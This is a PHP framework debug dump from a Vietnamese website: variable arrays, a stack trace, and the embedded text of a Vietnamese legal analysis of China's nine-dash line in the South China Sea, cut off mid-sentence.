'modified' => '2019-06-18', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '1', 'rght' => '2' ) ) $doitac = array( (int) 0 => array( 'Advertisement' => array( 'id' => '47', 'name' => null, 'link' => '', 'images' => '20190711121036d3f1b378428c2328a4bb143d22a3d53b.png', 'display' => '3', 'created' => '2019-06-18', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '7', 'rght' => '8' ) ), (int) 1 => array( 'Advertisement' => array( 'id' => '48', 'name' => null, 'link' => '', 'images' => '20190711121014468fcab5a34b87b67951ec18c257f13a.png', 'display' => '3', 'created' => '2019-07-11', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '9', 'rght' => '10' ) ), (int) 2 => array( 'Advertisement' => array( 'id' => '49', 'name' => null, 'link' => '', 'images' => null, 'display' => '3', 'created' => '2022-04-13', 'modified' => '2022-04-26', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '11', 'rght' => '12' ) ) ) $chayphai = array( 'Advertisement' => array( 'id' => '3', 'name' => null, 'link' => '', 'images' => '20160216064647eda555165b5c7208330a328fac635686.png', 'display' => '2', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '5', 'rght' => '6' ) ) $chaytrai = array( 'Advertisement' => array( 'id' => '2', 'name' => null, 'link' => '', 'images' => '201602160646338f7cfbf080f7dfc1a2bafa3a3f0dd7c1.jpg', 'display' => '1', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '3', 'rght' => '4' ) ) $chiasekinhnghiem = array() $list_menu_footer = array() $danhmuc_left_parent = array( (int) 0 => array( 'Catproduct' => array( 'id' => '2', 'name' => 'Sản phẩm', 'slug' => 'san-pham' ) ) ) $danhmuc = array( (int) 0 => array( 'Catproduct' => array( 'id' => '1', 'name' => 'Trang chủ', 'slug' => 'trang-chu' ) ), (int) 1 => array( 'Catproduct' => array( 'id' => '2', 'name' => 'Sản phẩm', 'slug' => 'san-pham' ) ), (int) 2 => array( 'Catproduct' => array( 'id' => '3', 'name' => 'Giới thiệu', 'slug' => 'gioi-thieu' ) ), (int) 3 => array( 'Catproduct' => array( 'id' => '5', 'name' => 'Download', 'slug' => 'download' ) ), (int) 4 => array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'slug' => 'tin-tuc' ) ), (int) 5 => array( 'Catproduct' => array( 'id' => '6', 'name' => 'Liên hệ', 'slug' => 'lien-he' ) ) ) $support = array( (int) 0 => array( 'Support' => array( 'id' => '13', 'name' => 'Co so Ha noi', 'phone' => '098 987 678', 'yahoo' => 'duycuong7640', 'skype' => 'duycuong7640', 'pos' => '0', 'created' => '2013-09-13', 'modified' => '2015-05-05', 'status' => '1', 'yahoo1' => 'duycuong7640', 'skype1' => '', 'hotline' => '0987 654 999', 'email' => '', 'name1' => '' ) ), (int) 1 => array( 'Support' => array( 'id' => '16', 'name' => 'Co so TP.HCM', 'phone' => '3252 436 432', 'yahoo' => 'duycuong7640', 'skype' => 'tuvantubep', 'pos' => '0', 'created' => '2014-01-15', 'modified' => '2015-05-05', 'status' => '1', 'yahoo1' => 'duycuong7640', 'skype1' => '', 'hotline' => '0987 654 999', 'email' => '', 'name1' => '' ) ) ) $content_for_layout = '<div class="bg-cat-danhmuc"> <div class="cat-title-danhmuc"> <a href="" title=""> <h1></h1> </a> </div> </div> <div class="box-content-detail"> <div class="clear-content"></div><div class="clear-content"></div> <div class="col-product"> <div class="box-new-content"> <div class="box-new-detail"> <div class="time-date"> 12:00:00 <span>21/06/2016</span> </div><!--end time-date--><div class="clear-content"></div> <div class="box-like-share"> <div class="like1"> <div class="fb-like" data-href="http://www.quangtayqht.vn/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do.htm" data-layout="standard" data-action="like" data-show-faces="true" data-share="true"></div> </div> </div><!--end box-like-share--><div class="clear-content"></div> <div class="ct-tt"> <div class="clear-main"></div> </div><!--end ct-tt--> <!--<div class="fb-comments" data-href="http://www.quangtayqht.vn/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do.htm" data-width="715" data-numposts="5" data-colorscheme="light"></div>--> <div class="clear-content"></div><div class="clear-content"></div> </div><!--end box-new-detail--> <div class="bar-new-detail"> <label>Private same category</label> <div class="clear-main"></div> <ul> <li> <a href="http://www.quangtayqht.vn/vn-tung-co-dong-dat-den-8-do-richter.htm" title=""> <h3> <span>(21-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/vai-tro-cua-khoa-hoc-co-ban-1.htm" title=""> <h3> <span>(20-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/dong-dat-va-song-than-nguon-nang-luong-huy-diet.htm" title=""> <h3> <span>(20-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/topo-cua-vu-tru.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/vai-tro-cua-khoa-hoc-co-ban.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ap-luc-tu-hop-tac-quoc-te.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/gan-lam-giac-mo-thien-van-viet-nam.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ai-va-ky-o-xu-so-cua-nhung-con-so-tang-hinh.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/tphcm-thiet-ke-thanh-cong-loi-ip-nen-anh-jpeg-2000.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> </ul> <div class="clear-main"></div> </div><!--end bar-new-detail--> <div class="clear-main"></div> <div class="pagination"> <span><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:1" rel="first">« First</a></span><span class="prev"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:11" rel="prev">« Previous</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:1">1</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:2">2</a></span>...<span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:9">9</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:10">10</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:11">11</a></span><span class="current number">12</span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:13">13</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:14">14</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:15">15</a></span>...<span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:46">46</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:47">47</a></span><span class="next"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:13" rel="next">Next »</a></span><span><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:47" rel="last">End »</a></span>Page 12/47. View 10/461. </div> <div class="clear-main"></div> </div><!--end box-ctbar--> </div> </div>' $scripts_for_layout = '' $cap1 = array( 'Catproduct' => array( 'id' => '5', 'name' => 'Download', 'slug' => 'download' ) ) $dm_c2 = array() $cap2 = array( 'Catproduct' => array( 'id' => '74', 'name' => 'Sổ sách, báo biểu khí tượng thủy văn', 'parent_id' => '2', 'alias' => 'so-sach-bao-bieu-khi-tuong-thuy-van', 'images' => null, 'lft' => '76', 'rght' => '77', 'pos' => '27', 'status' => '1', 'title_seo' => 'Sổ sách, báo biểu khí tượng thủy văn', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-06', 'modified' => '2019-07-06', 'slug' => 'so-sach-bao-bieu-khi-tuong-thuy-van', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) $dm_c3 = array()include - APP/View/Elements/menu.ctp, line 23 View::_evaluate() - CORE/Cake/View/View.php, line 920 View::_render() - CORE/Cake/View/View.php, line 883 View::element() - CORE/Cake/View/View.php, line 424 include - APP/View/Layouts/home.ctp, line 107 View::_evaluate() - CORE/Cake/View/View.php, line 920 View::_render() - CORE/Cake/View/View.php, line 883 View::renderLayout() - CORE/Cake/View/View.php, line 539 View::render() - CORE/Cake/View/View.php, line 483 Controller::render() - CORE/Cake/Controller/Controller.php, line 957 ProductController::chitiet() - APP/Controller/ProductController.php, line 135 ReflectionMethod::invokeArgs() - [internal], line ?? Controller::invokeAction() - CORE/Cake/Controller/Controller.php, line 485 Dispatcher::_invoke() - CORE/Cake/Routing/Dispatcher.php, line 186 Dispatcher::dispatch() - CORE/Cake/Routing/Dispatcher.php, line 161 [main] - APP/webroot/index.php, line 92
Notice (8): Undefined index: name_eng [APP/View/Elements/menu.ctp, line 23]Code Context<div class="accordion-heading"><a class="accordion-toggle" <?php if(!empty($dm_c2)){?>data-toggle="collapse" data-parent="#accordion2" href="#collapse<?php echo $cap1['Catproduct']['id'];?>" title="<?php echo $cap1['Catproduct']['name'.LANGUAGE];?>"<?php }else{?>href="<?php echo DOMAIN.$cap1['Catproduct']['slug'];?>"<?php }?>><?php echo $cap1['Catproduct']['name'.LANGUAGE];?>$viewFile = '/home/quangtayqh/domains/quangtayqht.vn/public_html/app/View/Elements/menu.ctp' $dataForView = array( 'cat12' => array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), 'title_for_layout' => 'Chấm và vạch trong Biển Đông: nhìn nhận từ Luật chứng cứ bản đồ', 'tinmoiup' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 6 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 7 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 8 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 9 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'tinlq' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 6 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 7 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 8 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 9 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'detailNews' => array( 'Post' => array( 'id' => '418', 'name' => 'Chấm và vạch trong Biển Đông: nhìn nhận từ Luật chứng cứ bản đồ', 'code' => null, 'alias' => 'cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<br /> <img alt="" src="/admin/webroot/upload/image/images/Chấm và vạch trong Biển Đông.jpg" style="width: 250px; height: 182px;" /><br /> <br /> <div> Ngày 07 tháng 5 năm 2009, Cộng hòa Nhân dân Trung Hoa (CHNDTH) phản đối đệ trình của Việt Nam và đệ trình chung của Malaysia-Việt Nam gửi Ủy ban Ranh giới thềm lục địa (CLCS). Để hậu thuẫn cho các yêu sách của mình, Trung Quốc (TQ) đã kèm một bản đồ có vẽ một đường hình chữ U nhiều chấm bao trùm phần lớn Biển Đông vào công hàm phản đối.</div> <div> Bài nghiên cứu này là đưa ra một phân tích về mặt pháp lý quốc tế bản đồ nói trên. </div> <div> </div> <div> </div> <div> I. BẢN ĐỒ TRUNG QUỐC</div> <div> </div> <div> A. Nền tảng</div> <div> </div> <div> Nguồn gốc của đường chữ U bắt đầu từ các hoạt động của Uỷ ban thẩm tra Bản đồ Đất và Nước của Trung Hoa Dân Quốc (THDQ), thành lập vào năm 1933. Trách nhiệm của Uỷ ban này bao gồm việc khảo sát và đặt tên các đảo ở Biển Đông và in ra các bản đồ cho thấy các đảo này thuộc chủ quyền của TQ. [1]</div> <div> </div> <div> Đường nhiều chấm được chuẩn nhận chính thức đầu tiên phát xuất từ sau cuộc chiến tranh thế giới thứ hai. Tờ bản đồ đang bàn do Sở lãnh thổ và Ranh giới Bộ Nội vụ THDQ in ra vào tháng 12 năm 1946. [2] Trên bản đồ này, đường chữ U gồm 11 vạch liên tục bao kín phần lớn Biển Đông và các thể địa lý giữa đại dương. [3] Bắt đầu từ ranh giới Trung-Việt, hai vạch đầu tiên đi qua Vịnh Bắc Bộ. Vạch thứ ba và thứ tư của đường này phân cách bờ biển Việt Nam với các quần đảo Hoàng Sa và Trường Sa, tương ứng. Vạch thứ năm và thứ sáu trên đường đứt đoạn đi qua Bãi cạn James (4° N), thể địa lý biển cực nam mà TQ và THDQ tuyên bố chủ quyền. Di chuyển theo hướng đông bắc, hai vạch tiếp theo nằm giữa quần đảo Trường Sa phía này, và Borneo (Indonesia, Malaysia, và Brunei) và Philippines (tỉnh Palawan), phía kia. Vạch thứ chín, thứ mười, và thứ mười một phân cách Philippines với THDQ. [4] Sau khi loại Quốc dân Đảng khỏi Trung Hoa đại lục, CHNDTH cũng phát hành bản đồ vẽ với cùng các vạch trên. [5] Như vậy, từ đó trở đi, ở hai phía của eo biển Đài Loan đều thấy có bản đồ đường chữ U xuất hiện. Một trong thay đổi đặc biệt cần lưu ý: từ năm 1953, bản đồ Biển Đông TQ chỉ vẽ 9 thay vì 11 vạch (2 vạch ở Vịnh Bắc Bộ đã bị xoá). [6]</div> <div> </div> <div> B. Công hàm TQ gửi Tổng thư ký LHQ (ngày 07 tháng 5 năm 2009)</div> <div> </div> <div> Ở cấp độ quốc tế, tranh cãi xung quanh đường 9 chấm đã rộ lên trước Liên Hợp Quốc (LHQ) vào năm 2009 liên quan tới đệ trình chung của Malaysia-Việt nam[7] và đệ trình riêng của Việt Nam[8] cho CLCS. CLCS đưa ra khuyến nghị cho các nước ven biển có nhu cầu xác lập ranh giới bên ngoài thềm lục địa vượt quá 200 hải lý (nm). [9] Thời gian đệ trình của các chính phủ Việt Nam và Malaysia có thể được giải thích bởi thời hạn chót của họ là vào tháng 5 năm 2009. [10] Để đáp trả các đệ trình này, trong cùng ngày TQ đã chính thức gửi Tổng thư ký LHQ hai công hàm riêng biệt có kèm bản đồ đó [11], bằng cách này lần đầu tiên xác nhận đường chữ U, ở cấp quốc tế trong một tranh chấp cấp nhà nước, [12] với phản ứng giống hệt nhau sau đây:</div> <div> </div> <div> TQ có chủ quyền không thể tranh cãi đối với các đảo ở Biển Đông và các vùng biển lân cận, và được hưởng quyền chủ quyền và quyền tài phán trên các vùng biển liên quan cũng như biết đáy biển và lòng đất dưới biển (xem bản đồ kèm theo). Lập trường nêu trên đượcChính phủ TQ nhất quán thể hiện, và được cộng đồng quốc tế biết đến rộng rãi. [13]</div> <div> </div> <div> Đọc Công hàm này, một học giả Đài Bắc suy ra một số khẳng định của TQ:</div> <div> </div> <div> 1. Chủ quyền đối với các đảo ở Biển Đông và vùng biển tiếp giáp chúng (bản đồ kèm theo cho thấy các thể địa lý biển sau đây trong đường đứt khúc theo tên: quần đảo Tây Sa, [14] quẩn đảo Nam Sa, [15] quần đảo Trung Sa, [16] và quẩn đảo Đông Sa[17]).</div> <div> </div> <div> 2. Quyền chủ quyền và quyền tài phán đối với vùng biển liên quan bao gồm đáy biển và tầng đất dưới đáy biển của chúng.</div> <div> </div> <div> 3. Tính nhất quán của vị thế chính thức của TQ về các yêu sách biển và lãnh thổ ở Biển Đông.</div> <div> </div> <div> 4. Sự nhận biết của các nước bên thứ ba liên quan đến yêu sách của TQ về biển và lãnh thổ ở Biển Đông.</div> <div> </div> <div> 5. Đường chữ U mô tả những yêu sách của TQ về chủ quyền, quyền chủ quyền và quyền tài phán. [18]</div> <div> </div> <div> Tuy nhiên, dường như công bằng để nói rằng giải thích chính thức của TQ trích dẫn trên, theo như ý nghĩa chính xác của bản đồ đính kèm, vẫn còn là mơ hồ. Cụ thể, bản chất pháp lý chính xác của các khu vực biển bao bọc bởi đường 9-chấm-vẫn còn mờ mịt, mặc dù có việc "làm rõ" của TQ. Điểu này được thể hiện rõ ràng bởi các phản ứng đang dạng mà họ gây ra tại các hội nghị chuyên ngành được tổ chức kể từ đó. [19]</div> <div> </div> <div> Theo hiểu biết của chúng tôi, cho đến nay chỉ có một nước là Philippines thực hiện nỗ lực giải thích.[20] TQ nhanh chóng trả lời với một công hàm mới, một lần nữa công hàm này chẳng làm cho rõ ràng hơn bao nhiêu. Trong công hàm mới này, đề ngày 14 tháng 4 năm 2011, TQ nêu rằng “chủ quyền và các quyền và quyền tài phán liên quan của TQ trong Biển Đông” được hỗ trợ bằng “chứng cứ lịch sử và pháp lý phong phú”'.[21] Điều rõ ràng trong tài liệu ngoại giao mới này là sự thiếu vắng của bất kỳ đề cập nào tới bản đồ trên. Từ sự thiếu vắng này, chúng ta có thể suy ra sự từ bỏ đường 9 chấm hay không? Chắc chắn, không thể giả định có một sự quay ngoắt (volte-face) một cách hời hợt. Hơn nữa, dù họ đang chủ trương làm dịu đi các quan ngại về tự do hàng hải ở Biển Đông, [22] ví như can thiệp gần đây của TQ đối với tàu thuyền Việt Nam và Philippines mà thôi cho thấy các yêu sách quá đáng của họ như trên bản đồ vẫn còn nguyên vẹn.</div> <div> </div> <div> II. CÁC YÊU SÁCH</div> <div> </div> <div> Công hàm ngày 07 tháng 5 năm 2009 của TQ, dù là có thể mới trong các khía cạnh vể biển của nó nhưng chỉ lặp lại những khẳng định tương tự như đã đưa ra trong quá khứ liên quan đến các thể địa lý. [23] Hơn nữa, nhiều học giả chủ yếu của TQ và Đài Loan đã đề ra các cách giải thích riêng của họ về đường 9 chấm. Giữa sự rối rắm này, người ta chỉ có thể chắc chắn một điều là các khẳng định TQ về Biển Đông không vượt quá ranh giới này. [24] Những quan điểm và giá trị pháp lý của các khẳng định này sẽ được thảo luận sau đây.</div> <div> </div> <div> A. Yêu sách lịch sử</div> <div> </div> <div> 1. Thực hành Nhà nước (State practice)</div> <div> </div> <div> Mặc dù các khẳng định kiểu này dường như không là nét đặc biệt trong chính sách chính thức của TQ, Đài Bắc có truyền thống ủng hộ lập trường này đối với đường chữ U khá mạnh, như có thể thấy trong một loạt các tuyên bố. Ví dụ, trong năm 1991 tại một trong những Hội thảo về Biển Đông, một đại diện Văn phòng Kinh tế và Thương mại Đài Bắc ở Jakarta (Indonesia) tuyên bố:</div> <div> </div> <div> Biển Đông là một vùng nước thuộc thẩm quyền của THDQ. THDQ có quyền và đặc quyền trong Biển Đông. Bất kỳ hoạt động nào trong Biển Đông phải có sự chấp thuận của Chính phủ THDQ. [25]</div> <div> </div> <div> Hướng dẫn Chính sách cho Biển Đông năm 1993 (chuẩn nhận bởi Bộ trưởng Hành Chánh) lưu ý rằng:</div> <div> </div> <div> Trên cơ sở lịch sử, địa lý, luật pháp quốc tế, và nhiều sự kiện, quần đảo Trường Sa, quần đảo Hoàng Sa, bãi cạn Macclesfield, và quần đảo Pratas luôn là phần lãnh thổ cố hữu của THDQ. Chủ quyền của nước THDQ đối với chúng không còn chút nghi ngờ nào. Khu vực Biển Đông trong ranh giới vùng nước lịch sử là khu vực biển thuộc thẩm quyền của nước THDQ, THDQ sở hữu tất cả các quyền và lợi ích trong đó. [26]</div> <div> </div> <div> Trong năm 1994, Bộ trưởng Bộ Hành Chánh, Trương Kim Ngọc (Chang King-yu), nói rằng “các vùng biển được bao bọc bởi đường chữ U ở Biển Đông là vùng nước lịch sử của chúng ta và THDQ được hưởng tất cả các quyền trong đó” (nhấn mạnh thêm). [27]</div> <div> </div> <div> Chính sách của Đài Bắc được suy luận xa hơn từ các phản đối đã thực hiện chống lại cách ứng xử của các nước ven biển trong khu vực. Đáp trả với việc Malaysia chiếm đóng hai thể địa lý tại quần đảo Trường Sa và việc Philippines quyết địnhsáp nhập bãi cát ngầm Scarborough trên bản đồ của họ, Đài Bắc tuyên bố:</div> <div> </div> <div> Biển Đông là một vùng nước của THDQ. THDQ có tất cả các quyền và đặc quyền trong vùng Biển Đông. Bất kỳ hoạt động nào (kể cả việc thảo luận về hợp tác chung hoặc Quy tắc ứng xử, vv) trong Biển Đông phải có sự chấp thuận của Chính phủ THDQ. (nhấn mạnh thêm) [28]</div> <div> </div> <div> Một số chuyên gia đã cóp nhặt nhiều lập luận pháp lý cho tuyên bố mong manh này. [29] Ví dụ, Triệu Quốc Tài (Guocai Zhao) nhận xét:</div> <div> </div> <div> TQ sở hữu quyền lịch sử các hòn đảo, đá ngầm, bãi cát ngầm, các bãi cạn, và các vùng nước trong đường 9 chấm. Biển Đông được coi là vùng nước lịch sử của TQ, điều đó được thừa nhận phổ quát vào thời điểm đó. Cho đến nay điều này đã kéo dài nửa thế kỷ. [30]</div> <div> </div> <div> 2. Phân tích pháp lý</div> <div> </div> <div> Việc xem xét các bài viết học thuật về các tuyên bố lịch sử liên quan đến các khu vực biển làm phát sinh rất nhiều nhầm lẫn về thuật ngữ. Các khái niệm thích hợp như quyền lịch sử / sở hữu lịch sử, các vùng nước lịch sử, và vịnh lịch sử không dễ dàng phân biệt và làm sáng tỏ. [31] Để tránh việc tìm hiểu kéo dài không cần thiết và phần nào thừa thãi về sự khác biệt giữa các quyền lịch sử và sở hữu lịch sử, chỉ cần nói rằng “quyền lịch sử” là chủng (genus) mà theo đó người ta có thể đặt các loại (species) “vùng nước lịch sử” vào. Tương tự, “vịnh lịch sử” là một loại “vùng nước lịch sử”. [32] Trong bối cảnh của đường 9 chấm, cách ứng xử của Đài Bắc dường như bao hàm sự công nhận các vùng nước lịch sử liên quan đến một phần chủ yếu của Biển Đông.</div> <div> </div> <div> Không có định nghĩa được chấp nhận rộng rãi về các vùng nước lịch sử, nhưng theo cách hiểu rộng rãi, nó biểu thị các quyền dành cho một nước ven biển đối với một hoặc nhiều khu vực biển mà nước đó bình thường sẽ không được hưởng. Phạm vi các quyền đi cùng với vùng nước lịch sử có thể khác nhau đáng kể. Các điều kiện pháp lý cho việc thụ đắc các vùng nước lịch sử đã được xem xét trong một nghiên cứu năm 1962 do Văn phòng Ban thư ký Liên Hợp Quốc của Vụ Pháp chế (OLA) thực hiện theo yêu cầu của Uỷ ban pháp luật quốc tế. [33] Theo quan điểm của OLA:</div> <div> </div> <div> Có vẻ có một sự nhất trí chung nhất rằng khi xác định liệu một nước có quyền sở hữu lịch sử đối với một khu vực biển hay không phải xem xét tới ít nhất ba yếu tố. Những yếu tố này là: (1) việc thực thi thẩm quyền của nước yêu sách quyền lịch sử đối với khu vực đó (2) tính liên tục của việc thực thi thẩm quyền (3) thái độ của các nước khác. [34]</div> <div> </div> <div> Đài Bắc lẫn TQ đều không đáp ứng các tiêu chí này cho vấn đề đó. Điều kiện (1) và (2) đòi hỏi nước có yêu sách phải thực thi thẩm quyền thông qua các hành vi thể hiện chủ quyền ở mức đủ thường xuyên và có hiệu quả. Liên quan tới khu vực họ yêu sách, việc thể hiện thẩm quyền của họ cùng lắm chỉ có thể nói là ở mức không thường xuyên. Việc tự do đánh bắt và đi lại của các nước khác vẫn không bị cản trở. [35] Do đó, không yêu sách lịch sử nào có thể thực hiện ở đây. Các đòi hỏi lý thuyết cần để thoả mãn điều kiện (3) là không chắc chắn. Về cơ bản, việc thảo luận xoay quanh vấn đề liệu các nước khác có cần phải ngầm bằng lòng với việc thực hiện chủ quyền của TQ trên Biển Đông hay liệu việc họ không có bất kỳ phản ứng nào là đủ hay không. [36] Nhưng dù theo quan điểm nào, cả hai dường như đều đồng ý rằng sự phản đối của các nước khác có thể ngăn chặn việc thực thi chủ quyền hòa bình và liên tục, và điều này đích xác là những gì đã xảy ra đối với Biển Đông (xem phần IV-B).</div> <div> </div> <div> Một số người đã vặn lại rằng tuyên bố phải được xem xét dưới ánh sáng của các quy tắc luật quốc tế đã tồn tại khi bản đồ đường chữ U được vẽ ra, tức là năm 1946 (cái gọi là học thuyết của luật liên thời gian [intertemporal law]). [37] Điều này là khá khác thường, vì cách tiếp cận này chỉ làm yếu thêm một luận điểm vốn đã không thuyết phục. Vào thời điểm đó, bề rộng của lãnh hải hợp pháp chỉ là 3 hải lý, khiến cho các yêu sách lịch sử càng thêm quá đáng hơn. [38] Với thực tế rằng các vùng nước lịch sử thường liên quan đến vịnh hoặc một dải lãnh hải, [39] do đó không có gì ngạc nhiên khi nhận thấy một chuyên luận gần đây về vùng nước lịch sử không thấy cần thiết để đề cập tới yêu sách lịch sử của đường 9 chấm. [40] Hơn nữa, ngay cả khi vì mục đích lập luận người ta nhắm tới giả thuyết cho rằng TQ có thể thực hiện một yêu sách lịch sử lớn chưa từng có (cái không có –quod non) thì cũng nên nhớ rằng các yêu sách lịch sử không tạo ra một chế độ liên quan tới mọi nước (erga omnes), mà là phụ thuộc vào sự công nhận tường minh hay hàm ý trên tầm mức quốc gia như một tác giả mới đây đã nhấn mạnh. [41]</div> <div> </div> <div> Một lưu ý cuối cùng, việc sử dụng cách gọi “Biển Nam Trung Hoa" không có ý trao chủ quyền lịch sử cho TQ. [42] Theo luật pháp quốc tế, việc đặt tên đơn thuần một khu vực không thiết lập chủ quyền đối với khu vực đó. [43] Tên này đã bị các quốc gia có liên quan phản đối mạnh mẽ, trong đó có Việt Nam. [44] Bản đồ nước ngoài dùng tên Biển Nam Trung Hoa chỉ đơn giản là để phù hợp với cách gọi tên do Tổ chức Thủy văn Quốc tế về Ranh giới các Đại dương và biển công bố (1953), cách gọi tên đó “không có bất kỳ ý nghĩa chính trị nào”. [45] Vì thế việc lựa chọn từ ngữ này về phần các nước phương Tây không có hàm ý nhìn nhận chủ quyền của TQ. Ngoài ra, về mặt lịch sử người TQ cũng dùng nhiều tên gọi khác nhau cho vùng biển này như là “Biển Giao Chỉ” (đời Tống và Minh) và “Biển Nam” (đời Thanh (1905), THDQ (1913) và CHNDTH (1952 và 1975)). [46]</div> <div> </div> <div> 3. Những diễn biến mới</div> <div> </div> <div> Những diễn biến gần đây có thể làm cho sự thảo luận dễ dàng hơn. Thật vậy, rất có thể là Đài Bắc đang từ bỏ luận điểm lâu dài của họ. Các tuyên bố trong những năm gần đây gợi cho thấy một sự thay đổi trong quan điểm của họ, đưa chính sách của Đài Loan về vấn đề này cùng hướng với chính sách của TQ. Việc đề cập tới quyền / vùng nước lịch sử vắng đi trong khi trọng tâm dường như là chủ quyền lãnh thổ đối với các đảo và lãnh hải của chúng. [47] Ví dụ gần đây nhất là tuyên bố hồi tháng 5 năm 2009 phản đối các hồ sơ củaViệt Nam và Malaysia - Việt Nam gửi cho CLCS:</div> <div> </div> <div> Chính phủ THDQ nhắc lại rằng quần đảo Điếu Ngư Đài (Diaoyutai), quần đảo Nam Sa (Trường Sa), quần đảo Tây Sa (quần đảo Hoàng Sa), quần đảo Trung Sa (Macclesfield) và quần đảo Đông Sa (Pratas Islands) cũng như các vùng biển xung quanh là 